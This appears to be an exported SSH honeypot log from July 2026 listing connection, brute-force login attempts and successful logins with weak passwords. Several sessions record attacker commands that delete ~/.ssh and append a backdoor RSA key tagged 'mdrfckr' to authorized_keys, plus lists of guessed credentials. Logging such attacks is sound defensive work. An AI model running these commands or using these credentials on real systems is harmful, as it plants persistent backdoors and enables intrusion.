Adversarial Observation Interface

115.191.43.197

2026-07-28 18:51:50.055830 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 59af00f97250

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "59af00f97250",
  "src_ip": "115.191.43.197",
  "start_time": "2026-07-28T18:51:50.055830Z",
  "end_time": "2026-07-28T18:53:50.061147Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

115.191.43.197

2026-07-28 18:51:49.398688 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 47a967dee165

Client Version: Unknown

Engagement Duration: 0.5s

{
  "id": "47a967dee165",
  "src_ip": "115.191.43.197",
  "start_time": "2026-07-28T18:51:49.398688Z",
  "end_time": "2026-07-28T18:51:49.890625Z",
  "duration": "0.5",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

77.90.185.16

2026-07-28 18:51:13.400411 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6848d515c1aa

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "6848d515c1aa",
  "src_ip": "77.90.185.16",
  "start_time": "2026-07-28T18:51:13.400411Z",
  "end_time": "2026-07-28T18:51:13.570396Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

152.200.181.42

2026-07-28 18:51:00.733426 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yaowu

Record ID: d8258eedc4a2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d8258eedc4a2",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:51:00.733426Z",
  "end_time": "2026-07-28T18:51:05.019144Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "yaowu",
      "pass": "yaowu123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.209

2026-07-28 18:49:51.988226 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f3b9d89d8f5a

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "f3b9d89d8f5a",
  "src_ip": "2.57.122.209",
  "start_time": "2026-07-28T18:49:51.988226Z",
  "end_time": "2026-07-28T18:49:52.332285Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-07-28 18:46:36.144687 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: caley

Record ID: 257df408b5df

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "257df408b5df",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-28T18:46:36.144687Z",
  "end_time": "2026-07-28T18:46:42.675561Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "caley",
      "pass": "caley"
    },
    {
      "user": "caley",
      "pass": "caley1"
    },
    {
      "user": "caley",
      "pass": "caley123"
    },
    {
      "user": "caley",
      "pass": "caley1234"
    },
    {
      "user": "caley",
      "pass": "caley12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:45:15.664766 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: prisma

Record ID: bd39554d7d50

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "bd39554d7d50",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:45:15.664766Z",
  "end_time": "2026-07-28T18:45:19.157499Z",
  "duration": "3.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "prisma",
      "pass": "prisma"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-07-28 18:42:08.239086 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 520520

Record ID: 61ddf9f8c87b

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "61ddf9f8c87b",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-28T18:42:08.239086Z",
  "end_time": "2026-07-28T18:42:14.247900Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "520520"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-28 18:41:35.562831 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / P@ssw0rd

Record ID: e3f1ffa42557

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "e3f1ffa42557",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-28T18:41:35.562831Z",
  "end_time": "2026-07-28T18:41:41.579231Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "P@ssw0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:39:53.277104 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3cb93bad9a46

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3cb93bad9a46",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:39:53.277104Z",
  "end_time": "2026-07-28T18:39:55.680091Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

69.5.169.137

2026-07-28 18:39:51.422959 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b1688fd0a239

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.3s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "b1688fd0a239",
  "src_ip": "69.5.169.137",
  "start_time": "2026-07-28T18:39:51.422959Z",
  "end_time": "2026-07-28T18:39:51.746064Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

152.200.181.42

2026-07-28 18:39:47.685071 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 28fdb28d8c8d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "28fdb28d8c8d",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:39:47.685071Z",
  "end_time": "2026-07-28T18:39:53.160585Z",
  "duration": "5.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:39:42.268875 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / porkkana

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 7c1c3ff33e73

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 13.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7c1c3ff33e73",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:39:42.268875Z",
  "end_time": "2026-07-28T18:39:55.677212Z",
  "duration": "13.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "porkkana"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

193.176.31.149

2026-07-28 18:39:02.579442 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8080088065a3

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "8080088065a3",
  "src_ip": "193.176.31.149",
  "start_time": "2026-07-28T18:39:02.579442Z",
  "end_time": "2026-07-28T18:39:02.742010Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

152.200.181.42

2026-07-28 18:34:16.680544 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34

Record ID: 98424d5ad0aa

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "98424d5ad0aa",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:34:16.680544Z",
  "end_time": "2026-07-28T18:34:18.473043Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:34:11.134559 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: ce26e2b5270d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ce26e2b5270d",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:34:11.134559Z",
  "end_time": "2026-07-28T18:34:16.559206Z",
  "duration": "5.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:34:05.154177 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / @dm1n@123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 4c875ec43b5c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 13.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4c875ec43b5c",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:34:05.154177Z",
  "end_time": "2026-07-28T18:34:18.470088Z",
  "duration": "13.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "@dm1n@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

152.200.181.42

2026-07-28 18:28:19.895470 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test5

Record ID: dd29cf5cf411

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dd29cf5cf411",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:28:19.895470Z",
  "end_time": "2026-07-28T18:28:30.143747Z",
  "duration": "10.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "test5",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:22:44.684618 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: dbd69dbfeae4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dbd69dbfeae4",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:22:44.684618Z",
  "end_time": "2026-07-28T18:22:46.472914Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:22:40.861752 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5d6d8e0a5daf

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5d6d8e0a5daf",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:22:40.861752Z",
  "end_time": "2026-07-28T18:22:44.562675Z",
  "duration": "3.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

152.200.181.42

2026-07-28 18:22:34.638748 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / p@ssw0rd!23

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: b3d38b7c03cc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 11.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b3d38b7c03cc",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:22:34.638748Z",
  "end_time": "2026-07-28T18:22:46.469261Z",
  "duration": "11.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "p@ssw0rd!23"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

152.200.181.42

2026-07-28 18:17:08.239027 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: crmadmin

Record ID: fdcd354b9fc3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "fdcd354b9fc3",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:17:08.239027Z",
  "end_time": "2026-07-28T18:17:10.199335Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "crmadmin",
      "pass": "crmadmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.42.183.124

2026-07-28 18:14:42.843567 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1ce0474aae44

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1ce0474aae44",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:14:42.843567Z",
  "end_time": "2026-07-28T18:16:42.913246Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:13:37.679246 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05f6ebbaf351

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "05f6ebbaf351",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:13:37.679246Z",
  "end_time": "2026-07-28T18:15:37.720198Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

111.42.183.124

2026-07-28 18:12:31.396542 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a69612fd2d91

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a69612fd2d91",
  "src_ip": "111.42.183.124",
  "start_time": "2026-07-28T18:12:31.396542Z",
  "end_time": "2026-07-28T18:14:31.453803Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

152.200.181.42

2026-07-28 18:11:38.659564 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 43fec8552ddd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "43fec8552ddd",
  "src_ip": "152.200.181.42",
  "start_time": "2026-07-28T18:11:38.659564Z",
  "end_time": "2026-07-28T18:11:41.370374Z",
  "duration": "2.7",
